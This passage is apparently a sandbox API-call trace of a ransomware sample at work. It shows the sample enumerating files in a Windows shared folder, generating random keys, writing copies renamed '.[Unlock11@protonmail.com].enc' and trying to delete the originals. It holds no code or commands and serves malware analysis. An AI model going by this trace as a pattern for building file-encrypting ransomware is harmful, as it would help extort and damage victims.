0x9b0 [0122.349] GetLastError () returned 0x0 [0122.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0122.350] GetLastError () returned 0x0 [0122.350] GetLastError () returned 0x0 [0122.350] GetLastError () returned 0x0 [0122.350] GetLastError () returned 0x0 [0122.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d58 [0122.350] GetLastError () returned 0x0 [0122.350] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.351] GetFileType (hFile=0x3ac) returned 0x1 [0122.351] GetLastError () returned 0x0 [0122.351] GetCurrentThreadId () returned 0x9b0 [0122.351] GetLastError () returned 0x0 [0122.351] GetFileType (hFile=0x3ac) returned 0x1 [0122.351] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.351] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.351] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.352] GetLastError () returned 0x0 [0122.352] GetCurrentThreadId () returned 0x9b0 [0122.352] GetLastError () returned 0x0 [0122.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d58 | out: hHeap=0x2ad0000) returned 1 [0122.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0122.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0122.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.352] GetLastError () returned 0x0 [0122.353] GetLastError () returned 0x0 [0122.353] GetCurrentThreadId () returned 0x9b0 [0122.353] GetLastError () returned 0x0 [0122.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.353] GetLastError () returned 0x0 [0122.353] GetLastError () returned 0x0 [0122.353] GetCurrentThreadId () returned 0x9b0 [0122.353] GetLastError () returned 0x0 [0122.353] GetLastError () returned 0x0 [0122.354] GetLastError () returned 0x0 [0122.354] GetCurrentThreadId () returned 0x9b0 [0122.354] GetLastError () returned 0x0 [0122.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ce8 | out: hHeap=0x2ad0000) returned 1 [0122.355] GetCurrentThreadId () returned 0x9b0 [0122.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf8) returned 0x33072c8 [0122.355] GetLastError () returned 0x0 [0122.355] GetLastError () returned 0x0 [0122.355] GetLastError () returned 0x0 [0122.355] GetLastError () returned 0x0 [0122.355] GetCurrentThreadId () returned 0x9b0 [0122.355] GetLastError () returned 0x0 [0122.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33072c8 | out: hHeap=0x2ad0000) returned 1 [0122.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.356] GetLastError () returned 0x0 [0122.356] GetLastError () returned 0x0 [0122.356] GetCurrentThreadId () returned 0x9b0 [0122.356] GetLastError () returned 0x0 [0122.356] GetLastError () returned 0x0 [0122.356] GetLastError () returned 0x0 [0122.356] GetCurrentThreadId () returned 0x9b0 [0122.356] GetLastError () returned 0x0 [0122.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8648 | out: hHeap=0x2ad0000) returned 1 [0122.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.357] GetLastError () returned 0x0 [0122.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.358] CloseHandle (hObject=0x3ac) returned 1 [0122.358] GetLastError () returned 0x0 [0122.358] GetCurrentThreadId () returned 0x9b0 [0122.358] GetLastError () returned 0x0 [0122.358] GetLastError () returned 0x0 [0122.358] CloseHandle (hObject=0x39c) returned 1 [0122.358] GetLastError () returned 0x0 [0122.358] GetCurrentThreadId () returned 0x9b0 [0122.358] GetLastError () returned 0x0 [0122.358] GetLastError () returned 0x0 [0122.359] GetLastError () returned 0x0 [0122.359] GetLastError () returned 0x0 [0122.359] GetLastError () returned 0x0 [0122.359] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0 [0122.359] GetLastError () returned 0x5 [0122.359] GetCurrentThreadId () returned 0x9b0 [0122.359] GetLastError () returned 0x5 [0122.359] GetLastError () returned 0x5 [0122.359] GetLastError () returned 0x5 [0122.359] GetLastError () returned 0x5 [0122.360] LocalFree (hMem=0x1053a70) returned 0x0 [0122.360] GetCurrentThreadId () returned 0x9b0 [0122.360] GetLastError () returned 0x5 [0122.360] GetLastError () returned 0x5 [0122.360] GetLastError () returned 0x5 [0122.360] GetLastError () returned 0x5 [0122.360] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", lpFilePart=0x9bada4*="symbols.xml") returned 0x4c [0122.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0122.360] GetCurrentThreadId () returned 0x9b0 [0122.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0122.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0122.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea548 [0122.361] GetLastError () returned 0x0 [0122.361] GetLastError () returned 0x0 [0122.361] GetLastError () returned 0x0 [0122.361] GetLastError () returned 0x0 [0122.361] GetCurrentThreadId () returned 0x9b0 [0122.361] GetLastError () returned 0x0 [0122.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea548 | out: hHeap=0x2ad0000) returned 1 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.362] GetLastError () returned 0x0 [0122.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea660 | out: hHeap=0x2ad0000) returned 1 [0122.363] GetLastError () returned 0x0 [0122.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0122.363] GetLastError () returned 0x0 [0122.363] GetLastError () returned 0x0 [0122.363] GetLastError () returned 0x0 [0122.363] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f)) returned 1 [0122.363] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3f4 | out: pbBuffer=0x366a3f4) returned 1 [0122.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0122.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.364] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.364] GetFileType (hFile=0x39c) returned 0x1 [0122.364] GetFileType (hFile=0x39c) returned 0x1 [0122.364] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.364] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.365] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.365] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.365] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.365] GetCurrentThreadId () returned 0x9b0 [0122.365] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.365] GetFileType (hFile=0x3ac) returned 0x1 [0122.365] GetCurrentThreadId () returned 0x9b0 [0122.366] GetFileType (hFile=0x3ac) returned 0x1 [0122.366] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.366] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.366] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.366] GetCurrentThreadId () returned 0x9b0 [0122.366] GetCurrentThreadId () returned 0x9b0 [0122.367] GetCurrentThreadId () returned 0x9b0 [0122.368] GetCurrentThreadId () returned 0x9b0 [0122.368] GetCurrentThreadId () returned 0x9b0 [0122.368] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x265) returned 0x36f8548 [0122.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d58 [0122.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x268) returned 0x33d7410 [0122.369] GetLastError () returned 0x0 [0122.369] GetLastError () returned 0x0 [0122.369] GetLastError () returned 0x0 [0122.369] GetLastError () returned 0x0 [0122.369] GetCurrentThreadId () returned 0x9b0 [0122.369] GetLastError () returned 0x0 [0122.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d7410 | out: hHeap=0x2ad0000) returned 1 [0122.369] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0122.370] GetLastError () returned 0x0 [0122.370] GetLastError () returned 0x0 [0122.370] GetCurrentThreadId () returned 0x9b0 [0122.370] GetLastError () returned 0x0 [0122.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6c78 | out: hHeap=0x2ad0000) returned 1 [0122.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f87b8 [0122.370] GetLastError () returned 0x0 [0122.370] GetLastError () returned 0x0 [0122.370] GetCurrentThreadId () returned 0x9b0 [0122.370] GetLastError () returned 0x0 [0122.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f87b8 | out: hHeap=0x2ad0000) returned 1 [0122.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.371] GetCurrentThreadId () returned 0x9b0 [0122.371] GetLastError () returned 0x0 [0122.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.372] CloseHandle (hObject=0x3ac) returned 1 [0122.372] GetLastError () returned 0x0 [0122.372] GetCurrentThreadId () returned 0x9b0 [0122.372] GetLastError () returned 0x0 [0122.372] GetLastError () returned 0x0 [0122.372] CloseHandle (hObject=0x39c) returned 1 [0122.373] GetLastError () returned 0x0 [0122.373] GetCurrentThreadId () returned 0x9b0 [0122.373] GetLastError () returned 0x0 [0122.373] GetLastError () returned 0x0 [0122.373] GetLastError () returned 0x0 [0122.373] GetLastError () returned 0x0 [0122.373] GetLastError () returned 0x0 [0122.373] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0 [0122.373] GetLastError () returned 0x5 [0122.374] GetCurrentThreadId () returned 0x9b0 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] LocalFree (hMem=0x1053b50) returned 0x0 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] GetLastError () returned 0x5 [0122.374] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0122.375] GetLastError () returned 0x5 [0122.375] GetCurrentThreadId () returned 0x9b0 [0122.375] GetLastError () returned 0x5 [0122.375] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.375] GetLastError () returned 0x5 [0122.375] GetCurrentThreadId () returned 0x9b0 [0122.375] GetLastError () returned 0x5 [0122.375] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0122.375] GetLastError () returned 0x5 [0122.375] GetCurrentThreadId () returned 0x9b0 [0122.375] GetLastError () returned 0x5 [0122.376] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0122.376] GetLastError () returned 0x12 [0122.376] GetCurrentThreadId () returned 0x9b0 [0122.376] GetLastError () returned 0x12 [0122.376] GetLastError () returned 0x12 [0122.376] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0122.376] GetCurrentThreadId () returned 0x9b0 [0122.376] GetLastError () returned 0x12 [0122.376] GetLastError () returned 0x12 [0122.376] GetLastError () returned 0x12 [0122.376] GetLastError () returned 0x12 [0122.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.377] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0122.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0122.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0122.378] GetCurrentThreadId () returned 0x9b0 [0122.378] GetLastError () returned 0x12 [0122.378] GetLastError () returned 0x12 [0122.378] GetLastError () returned 0x12 [0122.378] GetLastError () returned 0x12 [0122.378] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFilePart=0x9bada4*="auxbase.xml") returned 0x53 [0122.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0122.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0122.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.379] GetCurrentThreadId () returned 0x9b0 [0122.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.379] GetLastError () returned 0x0 [0122.379] GetLastError () returned 0x0 [0122.379] GetLastError () returned 0x0 [0122.379] GetLastError () returned 0x0 [0122.379] GetCurrentThreadId () returned 0x9b0 [0122.379] GetLastError () returned 0x0 [0122.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.380] GetLastError () returned 0x0 [0122.380] GetLastError () returned 0x0 [0122.380] GetLastError () returned 0x0 [0122.380] GetLastError () returned 0x0 [0122.380] GetCurrentThreadId () returned 0x9b0 [0122.380] GetLastError () returned 0x0 [0122.380] GetCurrentThreadId () returned 0x9b0 [0122.380] GetLastError () returned 0x0 [0122.380] GetLastError () returned 0x0 [0122.381] GetLastError () returned 0x0 [0122.381] GetLastError () returned 0x0 [0122.381] GetCurrentThreadId () returned 0x9b0 [0122.381] GetLastError () returned 0x0 [0122.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.381] GetLastError () returned 0x0 [0122.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.381] GetLastError () returned 0x0 [0122.381] GetLastError () returned 0x0 [0122.381] GetLastError () returned 0x0 [0122.381] GetCurrentThreadId () returned 0x9b0 [0122.382] GetLastError () returned 0x0 [0122.382] GetLastError () returned 0x0 [0122.382] GetLastError () returned 0x0 [0122.382] GetLastError () returned 0x0 [0122.382] GetLastError () returned 0x0 [0122.382] GetCurrentThreadId () returned 0x9b0 [0122.382] GetLastError () returned 0x0 [0122.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0122.382] GetCurrentThreadId () returned 0x9b0 [0122.383] GetLastError () returned 0x0 [0122.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.383] GetCurrentThreadId () returned 0x9b0 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.383] GetLastError () returned 0x0 [0122.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.384] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a)) returned 1 [0122.384] GetLastError () returned 0x0 [0122.384] GetCurrentThreadId () returned 0x9b0 [0122.384] GetLastError () returned 0x0 [0122.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0122.384] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0122.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0122.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0122.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0122.385] GetCurrentThreadId () returned 0x9b0 [0122.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.385] GetLastError () returned 0x0 [0122.385] GetLastError () returned 0x0 [0122.385] GetLastError () returned 0x0 [0122.385] GetLastError () returned 0x0 [0122.385] GetCurrentThreadId () returned 0x9b0 [0122.385] GetLastError () returned 0x0 [0122.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d8 | out: hHeap=0x2ad0000) returned 1 [0122.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea548 [0122.386] GetCurrentThreadId () returned 0x9b0 [0122.386] GetLastError () returned 0x0 [0122.386] GetLastError () returned 0x0 [0122.386] GetLastError () returned 0x0 [0122.386] GetLastError () returned 0x0 [0122.386] GetCurrentThreadId () returned 0x9b0 [0122.386] GetLastError () returned 0x0 [0122.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea548 | out: hHeap=0x2ad0000) returned 1 [0122.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d08 [0122.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0122.386] GetLastError () returned 0x0 [0122.386] GetLastError () returned 0x0 [0122.387] GetLastError () returned 0x0 [0122.387] GetLastError () returned 0x0 [0122.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d68 [0122.387] GetLastError () returned 0x0 [0122.387] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.387] GetFileType (hFile=0x39c) returned 0x1 [0122.387] GetLastError () returned 0x0 [0122.387] GetCurrentThreadId () returned 0x9b0 [0122.388] GetLastError () returned 0x0 [0122.388] GetFileType (hFile=0x39c) returned 0x1 [0122.388] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: 